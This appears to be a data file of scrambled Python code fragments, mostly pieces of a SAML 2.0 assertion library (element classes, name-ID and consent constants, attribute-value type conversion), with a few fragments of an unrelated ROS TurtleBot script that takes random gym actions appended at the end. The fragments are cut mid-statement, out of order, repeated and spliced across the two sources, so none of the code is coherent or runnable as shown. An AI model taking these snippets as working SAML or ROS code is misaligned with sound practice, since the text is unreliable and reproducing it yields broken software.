SubjectType_.c_tag:", "'one_time_use', 'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None,", "AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef':", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0}", "text) return self def harvest_element_tree(self, tree): # Fill in the", "value.decode('utf-8') type_to_xsd = { _str: 'string', int: 'integer', float: 'float',", "AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag = 'AttributeStatementType' c_namespace =", "else tree.text ) if text: #print(\"set_text:\", tree.text) # clear type", "element \"\"\" c_tag = 'AuthnStatement' c_namespace = NAMESPACE c_children =", "XSD = \"xs\" # xmlschema templates and extensions XS_NAMESPACE =", "c_children = AuthnStatementType_.c_children.copy() c_attributes = AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality", "\"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy()", "def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element", "A summary of available specifications can be found at: #", "= ( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True) c_attributes['SessionIndex']", "StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = (", "def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element", "'encrypted_assertion']) c_any = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None,", "float: 'float', bool: 'boolean', type(None): '', } # entries of", "c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction]) c_cardinality['audience_restriction'] =", "c_attributes = NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def", "AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG = { 'BaseID': BaseID,", "__init__(self, action=None, evidence=None, resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self,", "if self.address: # dotted-decimal IPv4 or RFC3513 IPv6 address if", "{\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] =", "c_attributes['Address'] = ('address', 'string', False) c_attributes['DNSName'] = ('dns_name', 'string', False)", "= \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has been obtained explicitly CONSENT_EXPLICIT =", "SubjectConfirmation(SubjectConfirmationType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag = 'SubjectConfirmation' c_namespace =", "= name self.name_format = name_format self.friendly_name = friendly_name # when", "= NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order =", "extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or [] self.assertion_uri_ref = assertion_uri_ref or", "extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes: del", "= StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute])", "self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority = authenticating_authority or [] def verify(self):", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement]) c_cardinality['statement'] = {\"min\": 0}", "xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag = 'ConditionAbstractType'", "dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address =", ") # the SAML authority's decision can be predetermined by", "c_namespace = NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order", "assertion or [] self.encrypted_assertion = encrypted_assertion or [] def evidence_type__from_string(xml_string):", "NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:]", "x: '', }, } xsd_string = ( 'base64Binary' if base64encode", "( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable formats NAMEID_FORMATS_SAML2 = (", "type=xsd_type) if xsd_ns else xsd_type if xsd_type else '') SamlBase.__setattr__(self,", "False) c_attributes['Address'] = ('address', 'string', False) c_any = {\"namespace\": \"##any\",", "xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag = 'EncryptedAttribute'", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] =", "ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string,", "ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag = 'ProxyRestrictionType' c_namespace =", "rules describing how to embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf #", "several builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or [] self.assertion_uri_ref = assertion_uri_ref", "action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag:", "= ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME =", "NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\"", "NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:]", "return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag", "# https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values for SAML attributes PROFILE_ATTRIBUTE_BASIC", "[AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name'] = ('name', 'string', True)", "'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions,", "an AuthnStatement must contain a Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string):", "= ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice']", "or [] self.one_time_use = one_time_use or [] self.proxy_restriction = proxy_restriction", "= ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1}", "c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality = SubjectConfirmationType_.c_cardinality.copy() def subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation,", "urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag = 'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type", "has been obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent", "c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase):", "or [] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The", "EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType':", "permitted or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\" # consent attributes determine", "more than once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string)", "children to this node # we consider whitespace insignificant #", "SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': SubjectConfirmationDataType_, 'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType':", ") # a profile outlines a set of rules describing", "element \"\"\" c_tag = 'AttributeType' c_namespace = NAMESPACE c_children =", "= SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature)", "0, \"max\": 1} c_attributes['Method'] = ('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id',", "= { 'BaseID': BaseID, 'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_,", "what conditions # no claim to consent is made CONSENT_UNSPECIFIED", "\"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\": \"##other\",", "saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag =", "c_namespace = NAMESPACE c_value_type = {'base': 'string'} c_children = SamlBase.c_children.copy()", "element \"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children =", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children", "self.address = address self.dns_name = dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_,", "def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element", "needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm), can be", "element \"\"\" c_tag = 'BaseID' c_namespace = NAMESPACE c_children =", "AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag = 'AuthnStatementType' c_namespace =", "= \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc", "NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase):", "c_tag = 'Statement' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority,", "False) c_attributes['Format'] = ('format', 'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string',", "SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key',", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace',", "\"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party is identified by subject confirmation", "def set_text(self, value, base64encode=False): def _wrong_type_value(xsd, value): msg = 'Type", "'enumeration': ['Permit', 'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element \"\"\" c_tag = 'Conditions' c_namespace", "self.evidence = evidence self.resource = resource self.decision = decision def", "'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] =", "('name', 'string', True) c_attributes['NameFormat'] = ('name_format', 'anyURI', False) c_attributes['FriendlyName'] =", "def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element", "c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience])", "c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None,", "bearer token is issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase):", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo']", "c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_):", "not self.subject: raise MustValueError( \"If no statement MUST contain a", "% XSI_NAMESPACE # nil type definition for xmlschemas XSI_NIL =", "text = to_text(value) self.set_type( '{ns}:{type}'.format(ns=xsd_ns, type=xsd_type) if xsd_ns else xsd_type", "NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:]", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] =", "= ('sp_name_qualifier', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None,", "key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows domain", "'EncryptedAssertion' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy()", "return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag", "format determines the category the subject is in # custom", "saml core specifications to be found at: # if any", "profile outlines a set of rules describing how to embed", "NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email address NAMEID_FORMAT_EMAILADDRESS", "= ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality =", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion']", "value) def verify(self): if not self.text and not self.extension_elements: if", "\"\"\" c_tag = 'AuthnContextDecl' c_namespace = NAMESPACE c_value_type = {'base':", "{ 'type': type(None), 'to_type': lambda x: None, 'to_text': lambda x:", "c_children = BaseIDAbstractType_.c_children.copy() c_attributes = BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality", "c_tag = 'Audience' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'}", "= NAMESPACE c_value_type = {'base': 'anyType'} c_children = SamlBase.c_children.copy() c_attributes", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID)", "under # what conditions # no claim to consent is", "typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE", "http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later updated with errata, and", "('sp_name_qualifier', 'string', False) c_attributes['Format'] = ('format', 'anyURI', False) c_attributes['SPProvidedID'] =", "int, 'to_text': _str, }, 'short': { 'type': int, 'to_type': int,", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] def audience_restriction_type__from_string(xml_string):", "method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id =", "def get_type(self): try: return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try: return", "c_attributes = AttributeType_.c_attributes.copy() c_child_order = AttributeType_.c_child_order[:] c_cardinality = AttributeType_.c_cardinality.copy() def", "is permitted DECISION_TYPE_PERMIT = \"Permit\" # the specified action is", "xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag = 'AudienceRestriction'", "= SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition]) c_cardinality['condition'] = {\"min\":", "one_time_use or [] self.proxy_restriction = proxy_restriction or [] self.not_before =", "xmlenc as xenc # authentication information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion'", "security header # signing its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" #", "= ('recipient', 'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False) c_attributes['Address']", "statements is key:value metadata shared with your app # custom", "confirmation and must include a security header # signing its", "xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag = 'AuthenticatingAuthority'", "= unicode if six.PY2 else str if isinstance(value, six.binary_type): value", "address if valid_ipv4(self.address) or valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not an", "assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\"", "NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:]", "'string': { 'type': _str, 'to_type': _str, 'to_text': _str, }, 'integer':", "self.attribute_statement = attribute_statement or [] self.version = version self.id =", "if xsd_type else '') SamlBase.__setattr__(self, 'text', text) return self def", "c_tag = 'AuthnContextType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "verify(self): if self.one_time_use: if len(self.one_time_use) != 1: raise Exception(\"Cannot be", "such elements, default to NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self, tree):", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element \"\"\" c_tag = 'Assertion' c_namespace = NAMESPACE", "if len(self.proxy_restriction) != 1: raise Exception(\"Cannot be used more than", "action is denied DECISION_TYPE_DENY = \"Deny\" # the SAML authority", "return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement', [Statement]) c_cardinality['statement'] = {\"min\":", "= 'AuthnContextType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "element \"\"\" c_tag = 'SubjectConfirmationData' c_namespace = NAMESPACE c_children =", "Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_):", "self.encrypted_data = encrypted_data self.encrypted_key = encrypted_key or [] def encrypted_element_type__from_string(xml_string):", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE", "# subject avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\")", "c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey])", "= 'ConditionAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return", "element \"\"\" c_tag = 'SubjectLocalityType' c_namespace = NAMESPACE c_children =", "extension_attributes=extension_attributes) self.audience = audience or [] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_,", "= ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) #", "'Subject' c_namespace = NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy()", "do not match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value), value=value) raise", "'base64Binary': { 'type': _str, 'to_type': _str, 'to_text': ( lambda x:", "confirmation methods(scm), can be issued, besides the subject itself #", "NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef", "NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:]", "EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy()", "AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy()", "subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id", "= {\"min\": 0} c_attributes['Version'] = ('version', 'string', True) c_attributes['ID'] =", "self.extension_elements: if not self.extension_attributes: raise Exception( \"Attribute value base should", "] if ':' not in xsd_string else xsd_string.split(':', 1)) xsd_type_props", "conditions_type__from_string(xml_string): return saml2.create_class_from_xml_string(ConditionsType_, xml_string) class AuthnStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\"", "saml2 from saml2 import SamlBase import six from saml2 import", "AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag = 'AudienceRestriction' c_namespace =", "else xsd_type if xsd_type else '') SamlBase.__setattr__(self, 'text', text) return", "# http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later updated with errata,", "c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] = ('recipient', 'anyURI', False)", "c_tag = 'SubjectType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "xmlschemas XSI_TYPE = '{%s}type' % XSI_NAMESPACE # nil type definition", "ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def condition_from_string(xml_string): return saml2.create_class_from_xml_string(Condition, xml_string) class", "xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag = 'Advice'", "encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\"", "'Condition': Condition, 'AudienceRestriction': AudienceRestriction, 'AudienceRestrictionType': AudienceRestrictionType_, 'Audience': Audience, 'OneTimeUse': OneTimeUse,", "c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID,", "name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData element \"\"\"", "element \"\"\" c_tag = 'Issuer' c_namespace = NAMESPACE c_children =", "self.id = id self.issue_instant = issue_instant def verify(self): # If", "[] self.count = count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class", "2011 by parse_xsd.py version 0.4. # # A summary of", "added a text node # or other children to this", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag = 'AttributeStatementType' c_namespace = NAMESPACE", "c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy() def", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer self.signature =" ]
[ "in range(100): action = env.action_space.sample() obs, reward, done, info =", "space: \", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in range(20): env.reset()", "done: print(\"Episode {} finished after {} timesteps\".format(episode, t+1)) break env.close()", "= StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env) print(\"Action space: \", env.action_space) #", "in range(20): env.reset() for t in range(100): action = env.action_space.sample()", "\", episode) print(\"timestep: \", t) print(\"obs: \", obs) print(\"action:\", action)", "log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print(\"Environment: \", env)", "#!/usr/bin/env python import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment", "\", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in range(20): env.reset() for", "\", t) print(\"obs: \", obs) print(\"action:\", action) print(\"reward: \", reward)", "= env.step(action) print(\"episode: \", episode) print(\"timestep: \", t) print(\"obs: \",", "episode in range(20): env.reset() for t in range(100): action =", "environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name)", "= env.action_space.sample() obs, reward, done, info = env.step(action) print(\"episode: \",", "t) print(\"obs: \", obs) print(\"action:\", action) print(\"reward: \", reward) print(\"done:", "\", info) if done: print(\"Episode {} finished after {} timesteps\".format(episode,", "\", env) print(\"Action space: \", env.action_space) # print(env.action_space.high) # print(env.action_space.low)", "openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name", "print(\"action:\", action) print(\"reward: \", reward) print(\"done: \", done) print(\"info: \",", "# initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env", "env.action_space.sample() obs, reward, done, info = env.step(action) print(\"episode: \", episode)", "print(env.action_space.high) # print(env.action_space.low) print(\"Observation space: \", env.observation_space) print(env.observation_space.high) 